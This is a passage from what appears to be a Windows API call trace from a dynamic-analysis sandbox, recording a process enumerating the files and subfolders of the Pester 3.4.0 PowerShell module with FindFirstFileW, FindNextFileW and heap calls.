cFileName="Context.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.573] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.574] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2cd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.574] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBe.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.574] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeGreaterThan.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.574] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511c78fa, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511c78fa, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511c78fa, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeLessThan.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.574] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeNullOrEmpty.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.574] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d49, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldContain.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.574] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldExist.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.574] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldMatch.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.574] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotBe.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.574] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d69, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotBeNullOrEmpty.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.575] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotContain.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.575] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotExist.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.575] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotMatch.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.575] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotThrow.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.575] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d47, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldThrow.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.575] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d47, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldThrow.snippets.ps1xml", cAlternateFileName="")) returned 0 [0269.575] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0269.576] GetProcessHeap () returned 0xc10000 [0269.576] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0269.576] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8aa684, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3567e0f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Snippets", cAlternateFileName="")) returned 0 [0269.576] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0269.576] GetProcessHeap () returned 0xc10000 [0269.576] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0269.578] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ab4af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1 [0269.578] GetProcessHeap () returned 0xc10000 [0269.578] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0269.579] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ab4af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0269.581] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ab4af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.581] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ac43c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1 [0269.581] GetProcessHeap () returned 0xc10000 [0269.581] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0269.582] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\bin\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ac43c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0269.582] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ac43c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.583] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 1 [0269.583] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 0 [0269.583] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0269.583] GetProcessHeap () returned 0xc10000 [0269.583] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0269.583] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Build.bat", cAlternateFileName="")) returned 1 [0269.583] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1 [0269.583] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHANGELOG.md", cAlternateFileName="")) returned 1 [0269.583] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987bae9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987bae9f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="chocolateyInstall.ps1", cAlternateFileName="")) returned 1 [0269.583] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8aca62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0269.584] GetProcessHeap () returned 0xc10000 [0269.584] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0269.584] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8aca62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0269.584] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8aca62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.584] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc26, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_BeforeEach_AfterEach.help.txt", cAlternateFileName="")) returned 1 [0269.584] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Mocking.help.txt", cAlternateFileName="")) returned 1 [0269.584] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Pester.help.txt", cAlternateFileName="")) returned 1 [0269.585] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1739, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_should.help.txt", cAlternateFileName="")) returned 1 [0269.585] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 1 [0269.585] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 0 [0269.585] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0269.585] GetProcessHeap () returned 0xc10000 [0269.585] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0269.585] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8acf9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Examples", cAlternateFileName="")) returned 1 [0269.585] GetProcessHeap () returned 0xc10000 [0269.585] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0269.585] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8acf9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0269.595] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8acf9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.595] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ad5fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, 